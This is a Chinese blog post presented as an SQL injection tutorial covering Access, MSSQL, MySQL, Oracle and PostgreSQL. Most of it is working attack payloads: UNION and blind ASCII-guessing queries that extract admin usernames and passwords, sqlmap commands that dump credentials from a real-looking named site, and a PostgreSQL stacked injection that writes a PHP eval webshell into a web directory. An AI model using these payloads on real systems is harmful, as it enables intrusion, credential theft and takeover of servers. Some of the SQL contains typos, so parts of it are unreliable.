zoukankan      html  css  js  c++  java
  • Web渗透测试(sql注入 access,mssql,mysql,oracle,)

    Access数据库注入:

     access数据库由微软发布的关系型数据库(小型的),安全性差。

     access数据库后缀名位*.mdb

     asp中连接字符串应用——

     “Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass”

      Dim conn

      Set conn = server.createobject(“adodb.connection”)

      conn.open “provider=Microsoft.ACE.OLEDB.12.0;” & “data source = ” & server.mappath(“bbs.mdb”)

     

    打开此数据库的工具——

     破障浏览器,辅臣浏览器

     

    注入分析——

    判断注入点(判断有没有带入查询)

    ,

    and 1=1

    and 1=2

    or 1=1

    or 1=2

    and 1=23

    查看是否带入查询,如果带入查询了,说明有注入漏洞

     

    存在注入--判断数据库类型——

    and exsits (select * from msysobjects) >0(判断access

    and exsits (select * from sysobjects) >0(判断SQL server

     

     

    判断数据库表

     and exists (select * from admin)(如果不存在admin表,可以试试user或者useradmin

     

    带入查询不报错说明有admin

     

    and exists (select admin from admin)查询是否有admin字段

    and exists (select password from admin)查询是否有password字段

     

    判断字段长度 order by 22

    报错  and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出adminpassword的字段长度)

    and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(这样就把用户名密码猜解出来了,再去md5解密即可)

     

     

    示例:sqlmap注入access数据库

     链接http://www.jnqtly.cn/cp11.asp?id=1129

    root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129

    root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables(爆表)

     

    file表进行猜解

    sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables --columns -T file

    对字段进行猜解

    root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --dump -T file -C "admin,password"

    然后去解密即可

     

    ———————————————————————————————————————

     

    MssqlSQL server)数据库注入:(中小型企业)

    SQL server由微软公司推出的关系型数据库,支持对称多处理器的结构 存储过程,具有自主的sql语言,支持图形化管理工具。

    SQL server数据库文件后缀位xxx.mdf,日志文件后缀为xxx_log.ldf

    基础语句select * from 表名(查询)

           sreate database 库名(创建)

             drop database 库明(删除库)

    权限——

      sa权限:数据库操作,文件管理,命令执行,注册表读取等system

      db权限:文件管理,数据库操作等 users-adminstrators

      public权限:数据库操作 guest-users

     

    调用分析——

      <% set conn =server.crateobiect(“adodb.connection”)

    conn.open“provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx”

    %>

     

    注入语句:

     判断是否有注入——

    and (select Count(*) from [表名])>0(猜解表名)

      and (select Count(字段名) from 表名)>0(猜测字段)

      and (select top 1 len(字段名) from 表名)>0(猜测字段长度)

     

    初步判断是否是mssqlSQL server)——

    and user > 0

     

    判断数据库系统——

    and (select count(*) from sysobiects)> 0 mssql

    and (select count(*) from msysobiects)> 0 access

     

     

    实例:(其实建议手工测试,虽然工具跑得快,但是还是手工可以)

     用穿山甲测试

    可直接写入一句话木马

    Sa权限可直接提权

    如果命令不生效可先恢复一下spoa换一下类型

    —————————————————————————————————————————

     

    Mysql数据库注入:(中小型企业)

      瑞典推出的关系型数据库,现在已经被甲骨文公司收购,搭配php+apache+mysql

     

    Mysql函数——

     systm_user() 系统用户名

     user() 用户名

     current_use() 连接数据库的用户名

     database() 数据库名

     version() MySQL数据库版本

     load_file() 转成16进制或者是10进制mysql读取本地文件的函数

     @@datadir 读取数据库路径

     @@basedir 读取MySQL安装路径

     @@version_comoile_os 判断操作系统

     

    PHP+MySQL链接——

     <?php

    $host=’localhost’; 数据库地址

    $database=’sui’; 数据库名称

    $user=’root’; 数据库账户

    $pass=’’; 数据库密码

    $webml=’/0/’; 安装文件夹

    ?>

     

     判断字段长度——

      order by xx

      order by 21 正常,order by 22不正常,说明长度为21

      union secect 1-18 from information_schema.tables(报出错误)

     

    示例:(MySQL5.0以上的版本)

    先判断是否存在注入,and不行试试其他or之类的,然后判断字段长度

     

    爆出错误23

    在报错位置查询想要的信息

    猜解用户名

    http://xxxx.xx.com/xxxxx/php?id=-5union secect  1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables

     

    猜解数据库名

    http://xxxx.xx.com/xxxxx/php?id=-5 union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables

    猜解表名

    http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables  where_schema=0x6469616E(把库名转换成16进制)

    爆出表名,爆出来后可以一个一个去尝试

     

     

    猜解列名

    http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名转换成16进制)

     

    猜解字段

    http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一个16进制)

    爆出管理员账号密码

     

     

    —————————————————————————————————————————

     

     

    Oracle数据库注入:(大型企业,政府,金融,证券)

     Oracle数据库由美国甲骨文公司推出的,以分布式数据库为核心,是目前世界上使用最广范的数据库管理系统,支持多用户,事物的处理,移植性强。

     

    Oracle数据库代码分析——

        id = request.getParameter(“id”);

    String strSQL = “select title,content from news where id=” + id;

    ResultSet rs = strt.executeQuery(strSQL);

    while(rs.next())

    {

    String title = rs.getString(“time”);

    String content = rs.getString(“conntent”);

    Out.print(“<tr><td>”+ title +”<td><tr><tr><td><br/>” + content + “</td></tr>”);

    }

     

     

     

    示例:

    猜解表名,存在则不报错and (select count(*) from admin)<>0

     

    猜解user列名,存在则不报错and (select count(user) from admin)<>0

    猜解pwd列名,存在则不报错and (select count(pwd) from admin)<>0

     

    判断长度and (select count(*) from admin where length(name)>=5)=1length()函数用于字符串长度,此处猜测用户名长度和5比较,意思就是猜测是否由5个字符组成)

     

    猜解第一个位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a

    猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重复以上操作,去配对ascii码表,可以判断账号为admin

     

    相同方式猜解密码;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密码长度为8

     

     猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a

     猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a(重复以上操作,去配对ascii码表,可以判断账号为admin888

     

     

     ascii

    测试登陆

    ———————————————————————————————————————

     

    Postgresql注入:(国内用的比较少

     
     

    示例:

    http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(version() as int)(获取数据库版本信息,系统信息)

     

    http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(user||123 as int)(获取当前用户名称,Postgres用户相当于root用户权限)

     

     http://www.xxx.jp/xxx/xx/php?id=307 ;create table xxx(w text not null);(创建表x

    插马——

      http://www.xxx.jp/xxx/xx/php?id=307;insert into xxx values($$<?php @eval($_POST[xxxxx]);?>$$);(向x表中插入一句话木马)

    写文件——

      http://www.xxx.jp/xxx/xx/php?id=307;copy xxx(w) to$$/home/kasugai_tochi/public_html/script/xxx.php$$;(将一句话木马保存为xxx.php文件,执行后用菜刀链接,然后上传webshll

     ——————————————————————————————————————————————————

     

    提交方式注入:

     Get——

      get注入比较常见,如www.xxx.com/xx.asp?id=1

     

     Post——

      post提交方式主要适用于表单的提交,用于登录框的注入,如www.xxx.com/admin.php

     

     判断方式——

      在登陆框键入 ‘or’=1  

    示例:(穿山甲跑)

    加载表单

     

    把后台地粘贴上,开始跑

    加载表单

    它会默认把表单提交到根路劲,需要把它改成登陆路劲

     

     

    Sqlmap跑——

    示例:

    加上根目录路径,然后在往下操作

    sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dbs

    sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --tables -D “列名

    sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --columns -T “表名” -D “列名

    sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dump  -C “user,pass” -T “表名” -D “列名

     

    Cookie——

    cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统

     示例:

     

     

    ———————————————————————————————————————

     

    搜索框注入:

     使用的工具——burpsuitesqlmap

     思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件里,然后用sqlmap

     

     示例:sqlmap -r xx.txt --tables(猜表名)

           sqlmap -r xx.txt --columns -T “admin”(猜列名)

           sqlmap -r xx.txt --C “admin,password” -T “manager” --dump -v 2(列内容)

     

    找到搜索框

     

     抓包

    再跑sqlmap

    ————————————————————————————————————————————————

     

    伪静态注入:

      网站管理员耍小聪明,看着是静态页面,其实是动态页面

      http://www.xxx.com/xxxx/xxx/xxx.html

     

    判断——

     http://www.xxx.com/index.php 返回正常说明是php写的  (index.aspindex.jsp)

     

    示例——

    http://www.xxxx.cn/xxx_99,html(把伪静态链接构造成动态脚本语言)

    http://www.xxxx.cn/xx.php?id=99 asp?id=   jsp?id=  aspx?id=  不报错说明就是此语言)

     

  • 相关阅读:
    使用office制作图章公章
    Office英语学习好帮手
    office快速制作简历
    如何使用office2010插入屏幕截图
    office 2010 安装教程
    360wifi使用方法|360wifi使用教程
    在我的电脑里新加一个盘符来隐藏文件夹和文件和秘密
    必应词典3.2去广告备忘笔记(转摘于roustar31)
    ASProtect注册码使用教程|ASProtect SKE(加壳脱壳工具) 2.56 汉化注册版
    ISTool5.3.1汉化版使用教程
  • 原文地址:https://www.cnblogs.com/Hydraxx/p/8516689.html
Copyright © 2011-2022 走看看